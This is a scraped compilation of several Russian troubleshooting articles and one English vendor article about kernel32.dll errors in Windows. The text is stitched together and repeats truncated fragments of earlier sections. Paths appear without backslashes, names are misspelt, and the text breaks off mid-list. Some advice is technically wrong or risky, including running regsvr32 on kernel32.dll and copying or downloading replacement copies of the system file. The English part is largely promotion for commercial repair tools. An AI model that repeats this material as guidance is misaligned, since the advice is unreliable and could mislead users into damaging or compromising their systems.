Программы могут устанавливаться некорректно, особенно, если вы их скачивали с торрентов и сторонних источников. Зайдите на официальный сайт производителя приложения и загрузите последнюю версию для дальнейшей установки на компьютер.

Если вы используете Windows 7 или Windows XP, то скорее всего разработчик ПО прекратил поддержку старых операционных систем. В этом случае, вам нужно скачать старую версию программы или поискать альтернативу ПО.

Также, если вы получаете ошибку с указанием на SetDefaultDllDirectories при использовании Windows 7, Server 2008 R2 или Vista, то стоит установить патч KB2533623 для этих систем с сайта Microsoft.

channel

3. Обновление Windows 10

Через обновления устанавливаются библиотеки для системы, DirectX и различные исправления. Многие пользователи отключают обновления Windows 10 или игнорируют их на долгий промежуток времени. Если это так, то перейдите в центр обновления Windows и установите все обновления.

4. CHKDSK, SFC и DISM

Проверим диск и системные файлы на ошибки, и если они имеются, то система попытается автоматически восстановить все повреждения. Для этого, запустите командную строку от имени администратора и введите три команды по очереди, нажимая Enter после каждой.

chkdsk c: /f /r /x
sfc /scannow
DISM /ONLINE /CLEANUP-IMAGE /RESTOREHEALTH

5. Заменить и перерегистрировать DLL

Если есть второй рабочий компьютер или ноутбук с Windows 10, то можно взять оттуда взять отсутствующий DLL-файл и скопировать его к себе. Просто откройте проводник на втором ПК, выделите или откройте диск «C» и сверху справа в поиске вбейте название dll-файла. Если он будет найден, то нажмите по нему правой кнопкой мыши и выберите «Расположение файла«.

Также, в некоторых случаях нужно заново перерегистрировать DLL файл kernel32. Это касается и тогда, когда вы скопировали его к себе с другого компьютера. Для этого запустите командную строку от имени администратора и введите:

regsvr32.exe kernel32.dll

Примечание: Если столкнетесь с ошибками при регистрации, то введите команду следующего вида regsvr32 C:WindowsSystem32kernel32.dll, где нужно указать путь к файлу.

6. Файлы Thumbs.db

Иногда ошибка Kernel32.dll появляется при повреждении файлов Thumbs.db (кэш миниатюр) в папках, если к ним осуществляется доступ-запрос связанный с каким-либо DLL файлов. Нужно найти по вашему мнению папку в которой имеется поврежденный файл Thumbs.db и удалить его.

Это руководство поможет вам понять, что за файл Thumbs.db и как его удалить.

7. Сканирование на вирусы

Вирусы в систем Windows могут создавать различные проблемы, в том числе и с файлов Kernel32.dll. Воспользуйтесь именно антивирусным сканером как DrWeb или Zemana, чтобы проверит систему на вредоносное ПО. Вы также можете запустить встроенный антивирус «Защитник Windows» в автономном режиме.

8. Диагностика памяти

Нажмите Win+R и введите mdsched.exe, чтобы запустить диагностику памяти. Если диагностика памяти выявит ошибки и не исправит их, то можете обратиться к подробному руководству.

9. Обновить драйвера

Если ошибка Kernel32.dll появляется при печати принтера, то нужно обновить драйвер принтера до последней версии. Если она появляется при запуске игр, то драйвер видеокарты.

Смотрите еще:

Точка входа не найдена в библиотеке dll
CreateAppContainerProfile не найдена в библиотеке DLL USERENV.dll
Файл bcrypt.dll отсутствует или не найден в Windows 10
Порядковый номер xxxx не найден в библиотеке DLL
Отсутствует Ffmpeg.dll в Windows 10 — Как исправить?

[ Telegram | Поддержать ]

Различные проблемы с файлами динамических библиотек (или же более правильное определение – библиотека динамической компоновки) уже очень давно преследуют пользователей операционной системы Windows, независимо от того, какая версия ими используется. В рамках настоящей статьи разбору подлежит ошибка с файлом «kernel32.dll», который осуществляет крайне важный функционал для операционной системы и представляет особый интерес для различного вирусного программного обеспечения. А о причинах возникновения данной ошибки и о способах их решения и пойдёт речь далее.

Объективно самый главный вопрос, касающийся ошибки «dll kernel32 dll», – как исправить её и устранить последствия.

Что это такое

Впервые столкнувшись с этой проблемой, многих пользователей закономерно интересует, что это такое, и как решить проблему с DLL kernel32.dll.

В основе любого компьютера лежит операционная система. Именно на ней всё работает, функционирует и запускается. Сердцем самой ОС выступает папка System32. Логично предположить, что всё её содержимое также играет ключевую роль. К числу содержимого относится и рассматриваемая библиотека.

Но это всё равно не даёт до конца понять, что означает библиотека DLL kernel32.dll. Если перевести название файла с английского, то получится ядро. Уже из этого можно сделать вывод, что файл крайне важен. Без него операционная система, как и весь компьютер, не смогут работать эффективно и стабильно. Возникнет множество сбоев и неполадок.

Рассматриваемый файл входит в число важнейших системных библиотек. Когда запускается любой софт на компьютере, операционная система отправляет запрос на подгрузку тех или иных библиотек, необходимых для работы конкретного программного обеспечения. Если хотя бы одна из используемых библиотек не будет обнаружена, возникнет соответствующая ошибка.

Сам файл kernel32.dll выступает в роли обработчика содержимого оперативной памяти. Без него ряд игр и программ попросту не будут работать.

Всё это заставляет решать вопрос о том, как устранить возникающую ошибку kernel32.dll, и что нужно делать в той или иной ситуации.

Есть несколько популярных вопросов, связанных с ошибкой kernel32.dll, на которые пользователи активно ищут ответы. Потому будет логично их рассмотреть.

Прежде всего, надо знать, в каких версиях ОС Windows может появляться ошибка kernel32.dll. Вопросами о том, как исправить подобную проблему, задаются юзеры всех актуальных версий ОС Windows. Потому столкнуться с ней могут пользователи ПК и ноутбуков, где установлена Windows XP, Windows Vista, ОС от Microsoft 7,8 и самого последнего 10 поколения.

Если произошла ошибка с файлом kernel32.dll, тогда надо заменить его. Для этого достаточно загрузить новый системный файл, причём желательно с официального сайта разработчика, и вставить его вместо старого.

Также важно знать о том, куда кидать новый файл kernel32.dll в случае замены библиотеки. Он находится непосредственно в папке system32. Можно пролистать папку и найти его либо воспользоваться встроенным инструментом поиска. Это также и ответ на вопрос о том, где находится искомая библиотека динамической компоновки в лице kernel32.dll.

Причины и решения

Рассматриваемая ситуация имеет множество разновидностей, например:

«Не найден kernel32.dll»;
«Точка входа в процедуру SetDefaultDllDirectories в библиотеке kernel32.dll не найдена»;
«Программа вызвала сбой в модуле Kernel32.dll»;
«Не удалось запустить приложение, потому что не найден kernel32.dll»;
«Файл kernel32.dll отсутствует или повреждён».

Это далеко не все варианты, которые встречаются у пользователей, но, как наглядно продемонстрировано, все их объединяет лишь одно – это некорректная работа названной библиотеки. Подобное разнообразие, безусловно, самым непосредственным образом усложняет процесс её решения, так как действия, которые могли привести к нестабильности в работе данного файла также разнообразны, как обилие вариантов ошибки. Отдельно стоит отметить, что никаких проблем с «kernel32.dll» теоретически возникать не должно вследствие того, что при загрузке операционной системы он помещается в защищённую или изолированную область памяти, которая недоступна для остальных процессов, в особенности внешних.

На практике же из-за различных сбоев в работе Windows, в том числе сбоев, которые могли быть спровоцированы деятельностью вирусного программного обеспечения, данный представитель библиотеки динамической компоновки подвергается стороннему воздействую, что и приводит к подобным плачевным результатам. Именно поэтому всё, что будет описываться ниже, по сути, представляет собой лишь основные рекомендации, которые при определённых обстоятельствах могут привести к желаемому результату.

Решения

Итак, для большего удобства и максимального КПД применяйте наши рекомендации именно в том порядке, в котором они будут описаны ниже. Также будет уместно именно сейчас предупредить о том, что следует несколько раз подумать, прежде чем пытаться найти данный файл в интернете и просто скачать его, и вот несколько причин почему:

Как уже было сказано выше, этим компонентом системы крайне интересуются различные вирусы, выдавая свои инструменты за «kernel32.dll». Поэтому больше чем в половине сайтов вам будет предложено скачать если и корректный файлик, то с «интересной» начинкой.
Остальная часть предлагаемого для скачивания файлового ассортимента представляет собой обычные пустышки, от которых пользы не будет, но и вреда не предвидится.
Кроме того, суть проблемы может оказаться не только в самом рассматриваемом файле.

Возвращаясь к способам решения, отметим, что выглядят они следующим образом:

Первый и наиболее логичный вариант – это банальная перезагрузка компьютера, так как сбой в его работе, который и привёл к проблемам, может носить разовый и случайный характер.
Рассматриваемая ошибка не возникает на пустом месте (обычно!). Следовательно, какое-либо программное обеспечение попыталось обратиться к ресурсам «kernel32.dll», но не получило нужного отклика/ответа. Поэтому попробуйте переустановить программу/приложение или игру. Если это какой-либо репак/сборка, то попробуйте скачать её с другого источника.

Кроме того, если программное обеспечение ранее работало стабильно, то следует обратить своё пристальное внимание и на обновления, которым оно подвергалось.

Проведите полное комплексное сканирование операционной системы на наличие вирусной активности. В качестве антивирусных средств примените, например, «Malwarebytes AdwCleaner», «Dr.Web CureIt» или схожий инструмент от «Лаборатории Касперского».
Проверьте актуальность всех установленных версий драйверов программного обеспечения. Следует также применить комплексный подход, воспользовавшись не только специализированными средствами, типа «DriverPack Solutions», но и ручным поиском по официальным ресурсам разработчиков ваших компонентов компьютера.
Уделите внимание и периферийным устройствам. Например, вы используете какое-либо программное обеспечение, которому требуется подключение к веб-камере. В работе драйвера этой самой веб-камеры имеются проблемы, которые впоследствии и вызывают подобную неприятную ситуацию.
Проведите сканирование операционной системы на целостность компонентов и файлов, а также просканируйте на наличие битых секторов жёсткий диск, для этого можно использовать следующие команды:
- «sfc/scannow» – проверка целостности;
- «CHKDSK» – проверка жёсткого диска;
- «dism /Online /Cleanup-Image /CheckHealth» – необходимо для получения сведений относительно наличия повреждений компонентов Windows;
- «dism /Online /Cleanup-Image /ScanHealth» – осуществляет проверку хранилища на корректность и целостность;
- «dism /Online /Cleanup-Image /RestoreHealth» – выявляет неполадки и их автоматически исправляет.

Также будет нелишним обратиться к ресурсам стороннего диагностического ПО и проверить корректность работы оперативной памяти, например, давно и с лучшей стороны себя зарекомендовала программа «memtest86+».

В качестве альтернативного варианта можно воспользоваться и штатными диагностирующими утилитами, для этого:

Нажмите сочетание клавиш WIN+S и введите «Средство проверки памяти Windows».
Откройте найденный вариант и выберите одно из предложенных решений. Первое подразумевает осуществление перезагрузки, после чего и начнётся проверка ОЗУ, второе предлагает отложить проверку до следующего старта операционной системы.

Стоит понимать, что данные тесты могут занимать продолжительное время (1 час, 2, 3 и 4 часа), всё зависит от вашей оперативной памяти и качества её работы. Поэтому подгадайте время тестирования так, чтобы гарантировать его беспрерывность.

Заключение

В заключение следует сказать, что последними рекомендациями по решению рассматриваемой ошибки служат «переустановка чистой операционной системы» (именно чистой, а не какая-либо сторонняя сборка), а также замена комплектующих компьютера (жёсткий диск и оперативная память, а также видеокарта, что бывает крайне редко). Даже если вы предприняли все пять вышеизложенных вариантов, но не решили проблему с «kernel32.dll», не спишите переустанавливать Windows, в особенности, если ошибка проявляется только в одном приложение или в одной игре. Вернитесь к началу и снова повторите все действия. И последнее. Если вами ранее проводились какие-либо манипуляции с рабочей деятельностью процессора, разгон например, то попробуйте его вернуть в прежнее состояние.

Файл kernel32.dll считается разновидностью DLL-файла. DLL-файлы, такие как kernel32.dll, по сути являются справочником, хранящим информацию и инструкции для исполняемых файлов (EXE-файлов), например HelpPane.exe. Данные файлы были созданы для того, чтобы различные программы (например, Microsoft Office Access 2010) имели общий доступ к файлу kernel32.dll для более эффективного распределения памяти, что в свою очередь способствует повышению быстродействия компьютера.

К сожалению, то, что делает файлы DLL настолько удобными и эффективными, также делает их крайне уязвимыми к различного рода проблемам. Если что-то происходит с общим файлом DLL, то он либо пропадает, либо каким-то образом повреждается, вследствие чего может возникать сообщение об ошибке выполнения. Термин «выполнение» говорит сам за себя; имеется в виду, что данные ошибки возникают в момент, когда происходит попытка загрузки файла kernel32.dll — либо при запуске приложения Microsoft Office Access 2010, либо, в некоторых случаях, во время его работы. К числу наиболее распространенных ошибок kernel32.dll относятся:

Нарушение прав доступа по адресу — kernel32.dll.
Не удается найти kernel32.dll.
Не удается найти C:WindowsSysWOW64kernel32.dll.
Не удается зарегистрировать kernel32.dll.
Не удается запустить Microsoft Office Access 2010. Отсутствует требуемый компонент: kernel32.dll. Повторите установку Microsoft Office Access 2010.
Не удалось загрузить kernel32.dll.
Не удалось запустить приложение, потому что не найден kernel32.dll.
Файл kernel32.dll отсутствует или поврежден.
Не удалось запустить это приложение, потому что не найден kernel32.dll. Попробуйте переустановить программу, чтобы устранить эту проблему.

Файл kernel32.dll может отсутствовать из-за случайного удаления, быть удаленным другой программой как общий файл (общий с Microsoft Office Access 2010) или быть удаленным в результате заражения вредоносным программным обеспечением. Кроме того, повреждение файла kernel32.dll может быть вызвано отключением питания при загрузке Microsoft Office Access 2010, сбоем системы при загрузке kernel32.dll, наличием плохих секторов на запоминающем устройстве (обычно это основной жесткий диск) или, как нередко бывает, заражением вредоносным программным обеспечением. Таким образом, крайне важно, чтобы антивирус постоянно поддерживался в актуальном состоянии и регулярно проводил сканирование системы.

Если вы используете операционную систему Windows дома или на работе, вы должны знать, что system32 играет жизненно важную роль в существовании вашего ПК. Но, мало кто знает, что это такое, и для чего оно нужно.

Содержание

1. Оповещения об ошибке Karnel32.dll.
2. Возникновение ошибок DLL Karnel32
3. Определяем ошибки Карнел
4. Методы лечения и устранения ошибок Karnel32.dll

Позвольте мне объяснить! Проще говоря, в самом сердце вашего компьютера используется операционная система Windows, без которой, ваш ПК абсолютно бесполезный.

Точно так же, каталог system32 является сердцем в операционной системе Windows. Из этого получаем, что без должной работы system32, существует большая вероятность, что Windows не загрузиться, но даже если это произойдет, ошибки вызываемые system32 заставят ОС работать очень медленно и вызывать частые сбои.

В основе каталога system32 находиться kernel32.dll, что в переводе с англ. значит ядро. Из этого можно увидеть, насколько он важен.

Мало того, что без него компьютер не сможет работать с максимальной эффективностью, так еще будет множество сбоев системы и ПК будет работать не корректно.

К сожалению, как и большинство элементов каталога system32, kernel32 dll приводит к возникновению ошибок.

Поэтому, очень важно, самим находить причину возникновения ошибок и уметь их устранять.

Вы должны уметь исправлять ошибки kernel32 если хотите добиться от своего компьютера и операционной системы максимальной производительности.

Этот факт также относиться к исправлению ошибки Hal.dll.

Kernel32.dll cообщения об ошибках

Бывает несколько вариантов отображения «ошибка kernel32.dll».

Множество различных программ могут генерировать ошибку kernel32.dll в Windows, ниже я привожу вам несколько конкретных сообщений об ошибке:

«Проводник вызвал сбой при обращении к памяти в модуле Kernel32.DLL»
«Программа iexplore вызвала сбой при обращении к памяти в модуле Kernel32.DLL»
«Commgr32 вызвала сбой при обращении к памяти в модуле Kernel32.dll»
«Ошибка в Kernel32.dll»
«[Название программы] вызвала ошибку в Kernel32.dll»
«fatal error skype kernel32 dll»

Сообщения об ошибках Kernel32 dll могут появиться при:

запуске Windows,
когда программа открыта,
выполнении программы,
когда программа закрыта или в почти любое время в течение сеанса Windows.

В каталоге system32, есть множество различных элементов кроме Kernel32.dll, и все они должны работать слаженно как единое целое, для того чтобы сохранить Windows в идеальном рабочем состоянии.

Откуда появляются ошибки Kernel32.dll?

Когда Windows запускается, kernel32.dll загружается в защищенном пространстве (сегменте) памяти, поэтому другие программы не могут использовать то же пространство в памяти для запуска своих операций.

Часто сопровождающаяся ошибка «неверной страницы» означает, что другая программа (или несколько программ) пытаются воспользоваться тем же местом в памяти компьютера которое предназначено для kernel32.

Так же, каждый раз, когда вы исполняете действие, которое изменяет конфигурации компьютера, вы так же меняете каталог system32, зачастую, даже не подозревая об этом.

Например, основные изменение в каталоге system32 появляются при установке и удалении новых программ на вашем компьютере.

К сожалению, такие изменения не всегда проходят правильно, либо же не завершаются до конца, и поэтому изменения, внесенные в файлы system32, будут поврежденными, нарушая тем самым работу компьютера.

В других случаях, причиной могут стать файлы загруженные из интернета. Они могут попытаться внести изменения в папку system32, но сделать это не правильно и замедлить работу компьютера.

ОСОБЕННО страшны вирусы и шпионские программы, которые скачиваются в комплекте с нужными вам файлами, и очень сильно воздействуют на каталог sytem32 (особенно на находящийся в нем файл Kernel32 DLL).

В этом случае они могут эффективно захватить контроль над компьютером, вплоть до полного прекращения работы ПК!

Как распознать ошибки Kernel32.dll

Мы уже выяснили что файл kernel32 является сердцем вашей операционной системы.

В этом есть одна существенная выгода, которая заключается в том, что при появлении сбоев в файле kernel32 ваш компьютер сам вам об этом сообщит, без каких-либо дополнительных запросов с вашей стороны.

В других случаях, запущенные антивирусные программы будут воспринимать ошибки kernel32.dll как вирус и удалять его, даже если он всего лишь поврежден, и сам вирусом не является.

Я лично наблюдал такое несколько раз, например, при использовании антивирусной программы McAfee.

Как исправить ошибки Kernel32.dll

Перезагрузите компьютер. Если ошибка kernel32.dll появилась случайно.
Переустановите программу, если ошибка при «обращении к странице памяти в модуле kernel32.dll» возникает только при использовании определенной программы, например при включении Skype.
Обязательно установите все пакеты обновлений или другие патчи доступны для программы. Один из них возможно исправит поврежденную част программы, что решит проблему с ошибкой. В крайнем случаи придется прекратить использовать программу, если только она продолжает вызывать kernel32.dll ошибку.
Ремонт поврежденных файлов thumbs.db Часто ошибка по типу: «Проводник вызвал сбой при обращении к памяти в модуле Kernel32.DLL» вызвана поврежденным thumbs.dll в директории или папке, к которой вы пытаетесь получить доступ.
У вас есть dll файлы, сохраненные на рабочем столе? Если это так, удалите их. Это иногда может привести к ошибки kernel32.dll.

Дополнительные методы исправления ошибки Карнел32

Ошибка Karnel часто связана с проблемой Msvcr100.Dll, об этой ошибке читайте подробно «ТУТ»

Запустить проверку на вирусы. Некоторые специфические компьютерные вирусы вызывают kernel32.dll ошибки.
Помещения этих вирусов на карантин может полностью решить проблему.
Обновление драйверов для любого оборудования, которое может быть связано с ошибкой kernel32.dll.
Например, если kernel32.dll ошибка появляется при печати на принтер, попробуйте обновить драйвера для вашего принтера.

Если вы подозреваете, что проблема в драйверах, но не знаете с чего начать, обновите драйвера на видеокарту.

Устаревшие версии драйверов видеокарты иногда вызывают kernel32.dll ошибки.
Уменьшить аппаратное ускорение на вашей видеокарте.
Это бывает редко, но все же, в некоторых компьютерах возникают проблемы, когда аппаратное ускорение устанавливается на максимум по умолчанию.
Вы изменяли настройки процессора? Если да, попробуйте сбросить настройки конфигурации оборудования по умолчанию, рекомендованные производителем.
Их изменение, как известно, вызывают проблемы с kernel32.dll.
Проверьте системную память на наличие повреждений.
Сообщения об ошибках Kernel32.dll от случайных программ и действий в Windows может быть признаком сбоя в работе оборудования с памятью компьютера.

Замените память в случае сбоя какого-либо из тестов.
Произведите восстановление Windows.
Если повторная установка отдельных программных и проведение аппаратных тестов не решило проблемы, установка Windows в режиме восстановления заменит любые поврежденные или отсутствующие файлы, которые могут быть причиной возникновения ошибки kernel32.dll.
Выполните чистую установку Windows. Этот тип установки полностью сотрет Windows с компьютера и установить его с нуля. Как создать загрузочную флешку Windows можете прочитать в этой статье.

Важно: Я не советую спешит с эти шагом если допустим скайп (или любая другая единичная программа) выдает ошибку kernel32 dll, тогда лучше вернитесь на шаг 2 и 3, а затем повторите его.

Так же, если проблема в программном обеспечении, то использование его же после чистой установки Windows возобновит ошибки kernel32.
Наконец, если все остальное не помогает, включая чистую установку как в последнем шаге, скорее всего вам нужно обратить внимание на аппаратные проблемы с жестким диском или другой частью оборудования.
Замените оборудование, а затем выполнить чистую установку Windows.

Данные решения проблем «сообщения об ошибках kernel32.dll» можно применять в любых операционных систем Microsoft от Windows 95 до Windows 8, Windows 7, Windows Vista, и Windows ХР.

Источник

Fortect — All in One Automated Solution

Powerful technology that secures and safely repairs any PC to an optimized state

✓Clean up junk files & Registry issues
✓Repair & Replace DLL files, Registry Keys, etc.
✓Protect your PC from Malware & viruses

What is the Kernel32.dll?

The Kernel32.dll file, also known as Windows KT BASE API Client DLL, is a 32-bit dynamic link library file used in Windows operating system. The Kernel32.dll file handles memory management, input/output operations and interrupts. So it’s an important file which makes sure your Windows programs running properly. If it’s missing or corrupted, it may impact the programs in a negative way.

Causes of Kernel32.dll errors

In simple term, the Kernel32.dll errors are caused by a conflict between one or more programs trying to access the memory protected area occupied by kernel32.dll. This error can be caused by a specific program, multiple files or programs. The reasons for the error are various. Here are some of the causes of the error, but not all.

Windows temporary files are damaged
Loaded corrupted or incorrect version of the kernel32.dll file
The registry file is damaged
Computer hardware problem (CPU overheating, overlocking .etc)
Corrupted hardware drivers
The driver is not installed correctly
Your device has infected with a virus
Insufficient disk space

How to fix Kernel32.dll errors?

Because the reasons for the error is various, there are many ways to fix the error. You may not have to try them all; just work your way down the list until you find the one that works for you.

Restart your computer
Run a virus scan
Check Windows Update
Repair system files
Update your drivers
Check your system memory
Repair hard disk errors
Perform a clean installation

Method 1: Restart your computer

Sometimes the could be simply fixed by rebooting your computer. The kernel32.dll error could be a fluke. Restart your computer always a good option to try when you meet problems.

Method 2: Run a virus scan

If your device has infected with a virus, the error may appear and cause trouble. So run your antivirus software to do a security scan and clear existed viruses or malware. Be sure that your antivirus software has been updated to the latest version. Also, run a virus scan regularly can keep your computer safe.

Method 3: Check Windows Update

Microsoft keeps releasing new updates and related patches to provide service to users. The latest Windows updates can fix existed errors and outdated Windows installation might be the reason for Kernel32.dll error.

For example, if you run Skype in Windows XP without installing SP3, you might get the kernel32.dll error message. So remember using Windows Update to update your computer when you meet kernel32.dll errors.

Press the Windows Key + I and click Update & Security.
Click Check for Updates.

Method 4: Repair system files

If your kernel32.dll file is missing or corrupted, it’s not surprising to see the kernel32.dll error.

Here’s how to fix it:

Repair & replaces corrupted system files with Fortect
Run sfc/scannow command

Repair & replaces corrupted system files with Fortect

Fortect is a powerful tool to repair and rebuild Windows. It is tailored to your specific system and is working in a private and automatic way. There’s no harm to your PC and no worries about losing any programs and your personal data.

Download and install Fortect.
Open Fortect and click Yes to run a free scan of your PC.
Fortect will scan your computer thoroughly. This may take a few minutes.
Once done, you’ll see a detailed report of all the issues on your PC. To fix them automatically, click START REPAIR. This requires you to purchase the full version. But don’t worry. If Fortect doesn’t solve the issue, you can request a refund within 60 days.

The Pro version of Fortect comes with 24/7 technical support. If you need any assistance, please contact Fortect support:
Email: support@fortect.com

Run sfc /scannow command

On your keyboard, press the Windows logo key and R key at the same time to invoke the Run box.
Type “cmd” and press Shift+Ctrl+Enter together to open Command Prompt in the administrator mode.
Note: Do NOT click OK or just press the Enter key as that won’t allow you to open Command Prompt in the administrator mode.
Type “sfc /scannow” in the window and press Enter. Then wait for the verification is 100% complete.
Restart your computer to check the blue screen error is fixed or not.

If the result indicates that there are broken files that exist but SFC can’t fix it, you can turn to Deployment Image Servicing and Management (DISM) Tool for deeper examination and repair.
Click here for a tutorial on how to use the DISM Tool.

Method 5: Update your drivers

The kernel32.dll error may be caused by corrupted hardware drivers. Updating drivers not only fix the error but also improves your computer performance.
There are two ways you can get the right drivers: manually or automatically.

Option 1 – Manually – You’ll need some computer skills and patience to update your drivers this way, because you need to find exactly the right the driver online, download it and install it step by step.

Option 2 – Automatically (Recommended) – This is the quickest and easiest option. It’s all done with just a couple of mouse clicks – easy even if you’re a computer newbie.

Option 1 – Download and install the driver manually

Devices keep updating drivers. To get them, you need to go to the manufacturer website, find the drivers corresponding with your specific flavor of Windows version (for example, Windows 32 bit) and download the driver manually.

Once you’ve downloaded the correct drivers for your system, double-click on the downloaded file and follow the on-screen instructions to install the driver.

Option 2 – Automatically update drivers

If you don’t have the time, patience or computer skills to update your drivers manually, you can do it automatically with Driver Easy.

Driver Easy will automatically recognize your system and find the correct drivers for it. You don’t need to know exactly what system your computer is running, you don’t need to risk downloading and installing the wrong driver, and you don’t need to worry about making a mistake when installing.

You can update your drivers automatically with either the FREE or the Pro version of Driver Easy. But with the Pro version it takes just 2 clicks (and you get full support and a 30-day money back guarantee):

Download and install Driver Easy.
Run Driver Easy and click the Scan Now button. Driver Easy will then scan your computer and detect any problem drivers.
Click the Update button next to the selected driver to automatically download the correct version of that driver, then you can manually install it (you can do this with the FREE version).
Or click Update All to automatically download and install the correct version of all the drivers that are missing or out of date on your system. (This requires the Pro version which comes with full support and a 30-day money back guarantee. You’ll be prompted to upgrade when you click Update All.)
Restart your computer and check the error will appear or not.

Method 6: Check your system memory

One of the reasons for the Kernel32.dll error is poor contact, defective or mismatched RAM (Random Access Memory).
You can physically or use the Windows Memory Diagnostics Tool to check your RAM.

Physical Check

Plug your RAM in and out to make sure it has been installed properly and steadily.
Clean your RAM if it’s dusty. And don’t forget the RAM slot
Reboot your computer to check whether the problem exists.

Use Windows Memory Diagnostics Tool

On your keyboard, press the Windows logo key + R together to open the Run box.
Type “mdsched.exe” and click OK.
Click Restart now and check for problems.

The result can lead to two situations:

A: You RAM has no problem. Then move to the next method.

B: The test result indicated that the computer is suffering from a bad memory. You should replace your RAM with a new one.
Then restart your computer and check to see the Kernel32.dll error will appear or not.

Method 7: Repair hard disk errors

In some cases, the kernel32.dll error could be attributed to hard drive corruption.
Check Disk Utility(chkdsk.exe) is a useful tool offered by Windows that can be used to check the hard drive for bad sectors and fix them if possible.

On your keyboard, press the Windows logo key and R key at the same time to invoke the Run box.
Type “cmd” and press Shift+Ctrl+Enter together to open Command Prompt in the administrator mode.
Note: Do NOT click OK or just press the Enter key as that won’t allow you to open Command Prompt in the administrator mode.
Type the following command line and press the Enter key on your keyboard.
chkdsk x: /f
Note: The letter “x” means the disk drive that you want to scan and repair for. The tool is often used for the Windows installation drive which is usually C drive. If you want to scan and repair C drive, replace “x” with “c”.
After the scanning and repairing process is done, restart your PC and check to see if the error is resolved.

Method 8: Perform a clean installation

If all else fails, you may have to reset Windows, or maybe even reinstall it together. We all know reinstalling will delete all the data on your hard drive, you have to back up all your important files before doing it.
However, with Fortect, there’s no need for lengthy back-ups, support phone calls, or risk to your personal data. It can reset Windows to the state exactly when it was just installed without affecting third-party software.
Here’s how to use it:

Download and install Fortect.
Open Fortect and click Yes to run a free scan of your PC.
Fortect will scan your computer thoroughly. This may take a few minutes.
Once done, you’ll see the summary of detected security issues on your PC. Repair corrupted profiles with one click, they’ll be fixed automatically. This requires you to purchase the full version. But don’t worry. If Fortect doesn’t solve the issue, you can request a refund within 60 days.

The Pro version of Fortect comes with 24/7 technical support. If you need any assistance, please contact Fortect support:
Email: support@fortect.com

But treat these options as a last resort, because they both take quite a long time.

We hope you find these techniques useful. You’re welcome to leave comments and questions below.

Источник

Содержание

1. Оповещения об ошибке Karnel32.dll.
2. Возникновение ошибок DLL Karnel32
3. Определяем ошибки Карнел
4. Методы лечения и устранения ошибок Karnel32.dll

К сожалению, как и большинство элементов каталога system32, kernel32 dll приводит к возникновению ошибок.

Поэтому, очень важно, самим находить причину возникновения ошибок и уметь их устранять.

Этот факт также относиться к исправлению ошибки Hal.dll.

Kernel32.dll cообщения об ошибках

Бывает несколько вариантов отображения «ошибка kernel32.dll».

«Проводник вызвал сбой при обращении к памяти в модуле Kernel32.DLL»
«Программа iexplore вызвала сбой при обращении к памяти в модуле Kernel32.DLL»
«Commgr32 вызвала сбой при обращении к памяти в модуле Kernel32.dll»
«Ошибка в Kernel32.dll»
«[Название программы] вызвала ошибку в Kernel32.dll»
«fatal error skype kernel32 dll»

Сообщения об ошибках Kernel32 dll могут появиться при:

запуске Windows,
когда программа открыта,
выполнении программы,
когда программа закрыта или в почти любое время в течение сеанса Windows.

Откуда появляются ошибки Kernel32.dll?

Например, основные изменение в каталоге system32 появляются при установке и удалении новых программ на вашем компьютере.

ОСОБЕННО страшны вирусы и шпионские программы, которые скачиваются в комплекте с нужными вам файлами, и очень сильно воздействуют на каталог sytem32 (особенно на находящийся в нем файл Kernel32 DLL).

Как распознать ошибки Kernel32.dll

Мы уже выяснили что файл kernel32 является сердцем вашей операционной системы.

Я лично наблюдал такое несколько раз, например, при использовании антивирусной программы McAfee.

Как исправить ошибки Kernel32.dll

Перезагрузите компьютер. Если ошибка kernel32.dll появилась случайно.
Переустановите программу, если ошибка при «обращении к странице памяти в модуле kernel32.dll» возникает только при использовании определенной программы, например при включении Skype.
Обязательно установите все пакеты обновлений или другие патчи доступны для программы. Один из них возможно исправит поврежденную част программы, что решит проблему с ошибкой. В крайнем случаи придется прекратить использовать программу, если только она продолжает вызывать kernel32.dll ошибку.
Ремонт поврежденных файлов thumbs.db Часто ошибка по типу: «Проводник вызвал сбой при обращении к памяти в модуле Kernel32.DLL» вызвана поврежденным thumbs.dll в директории или папке, к которой вы пытаетесь получить доступ.
У вас есть dll файлы, сохраненные на рабочем столе? Если это так, удалите их. Это иногда может привести к ошибки kernel32.dll.

Дополнительные методы исправления ошибки Карнел32

Ошибка Karnel часто связана с проблемой Msvcr100.Dll, об этой ошибке читайте подробно «ТУТ»

Запустить проверку на вирусы. Некоторые специфические компьютерные вирусы вызывают kernel32.dll ошибки.
Помещения этих вирусов на карантин может полностью решить проблему.
Обновление драйверов для любого оборудования, которое может быть связано с ошибкой kernel32.dll.
Например, если kernel32.dll ошибка появляется при печати на принтер, попробуйте обновить драйвера для вашего принтера.

Если вы подозреваете, что проблема в драйверах, но не знаете с чего начать, обновите драйвера на видеокарту.

Устаревшие версии драйверов видеокарты иногда вызывают kernel32.dll ошибки.
Уменьшить аппаратное ускорение на вашей видеокарте.
Это бывает редко, но все же, в некоторых компьютерах возникают проблемы, когда аппаратное ускорение устанавливается на максимум по умолчанию.
Вы изменяли настройки процессора? Если да, попробуйте сбросить настройки конфигурации оборудования по умолчанию, рекомендованные производителем.
Их изменение, как известно, вызывают проблемы с kernel32.dll.
Проверьте системную память на наличие повреждений.
Сообщения об ошибках Kernel32.dll от случайных программ и действий в Windows может быть признаком сбоя в работе оборудования с памятью компьютера.

Замените память в случае сбоя какого-либо из тестов.
Произведите восстановление Windows.
Если повторная установка отдельных программных и проведение аппаратных тестов не решило проблемы, установка Windows в режиме восстановления заменит любые поврежденные или отсутствующие файлы, которые могут быть причиной возникновения ошибки kernel32.dll.
Выполните чистую установку Windows. Этот тип установки полностью сотрет Windows с компьютера и установить его с нуля. Как создать загрузочную флешку Windows можете прочитать в этой статье.

Важно: Я не советую спешит с эти шагом если допустим скайп (или любая другая единичная программа) выдает ошибку kernel32 dll, тогда лучше вернитесь на шаг 2 и 3, а затем повторите его.

Так же, если проблема в программном обеспечении, то использование его же после чистой установки Windows возобновит ошибки kernel32.
Наконец, если все остальное не помогает, включая чистую установку как в последнем шаге, скорее всего вам нужно обратить внимание на аппаратные проблемы с жестким диском или другой частью оборудования.
Замените оборудование, а затем выполнить чистую установку Windows.

Источник

Объективно самый главный вопрос, касающийся ошибки «dll kernel32 dll», – как исправить её и устранить последствия.

Что это такое

Причины и решения

Рассматриваемая ситуация имеет множество разновидностей, например:

«Не найден kernel32.dll»;
«Точка входа в процедуру SetDefaultDllDirectories в библиотеке kernel32.dll не найдена»;
«Программа вызвала сбой в модуле Kernel32.dll»;
